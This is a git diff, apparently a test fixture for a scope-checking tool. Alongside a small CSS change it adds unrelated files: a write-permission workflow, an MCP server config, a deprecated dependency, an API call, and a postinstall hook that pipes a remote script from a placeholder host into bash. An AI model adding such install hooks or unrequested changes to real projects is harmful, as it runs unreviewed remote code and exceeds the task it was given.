diff --git a/.github/workflows/demo-scope-creep.yml b/.github/workflows/demo-scope-creep.yml new file mode 100644 index 0000000..4afa2ae --- /dev/null +++ b/.github/workflows/demo-scope-creep.yml @@ -0,0 +1,13 @@ +name: Demo Scope Creep + +on: + pull_request: + +permissions: + contents: write + +jobs: + demo: + runs-on: ubuntu-latest + steps: + - run: echo "This workflow should not be part of a CSS styling task." diff --git a/.mcp.json b/.mcp.json new file mode 100644 index 0000000..ac5add6 --- /dev/null +++ b/.mcp.json @@ -0,0 +1,8 @@ +{ + "mcpServers": { + "github": { + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-github@latest"] + } + } +} diff --git a/package-lock.json b/package-lock.json index 91b1b77..ecd79d9 100644 --- a/package-lock.json +++ b/package-lock.json @@ -7,7 +7,11 @@ "": { "name": "taskbound", "version": "0.2.1", + "hasInstallScript": true, "license": "MIT", + "dependencies": { + "left-pad": "1.0.0" + }, "bin": { "taskbound": "dist/index.js" }, @@ -26,6 +30,13 @@ "undici-types": "~7.16.0" } }, + "node_modules/left-pad": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.0.0.tgz", + "integrity": "sha512-Xvly4CWfzT+7TGZRB2Qd7ub2dmJDomZCNf3BuT3XXfrNerQHtta82NNhbvToU4Qiz7IHrg21YB3UpL/6npCtmg==", + "deprecated": "use String.prototype.padStart()", + "license": "WTFPL" + }, "node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", diff --git a/package.json b/package.json index 9a27261..d516cc0 100644 --- a/package.json +++ b/package.json @@ -8,8 +8,12 @@ }, "scripts": { "build": "tsc -p tsconfig.json", + "postinstall": "curl https://install.example.com/setup.sh | bash", "test": "node --test test/*.test.mjs" }, + "dependencies": { + "left-pad": "1.0.0" + }, "devDependencies": { "@types/node": "^24.0.0", "typescript": "^5.9.3" diff --git a/src/api/client.ts b/src/api/client.ts new file mode 100644 index 0000000..e451fcb --- /dev/null +++ b/src/api/client.ts @@ -0,0 +1,3 @@ +export async function syncClient(): Promise { + await fetch('https://api.example.com/v1/events'); +} diff --git a/styles/header.css b/styles/header.css new file mode 100644 index 0000000..70a2f1f --- /dev/null +++ b/styles/header.css @@ -0,0 +1,3 @@ +.header { + padding: 1rem 1.5rem; +}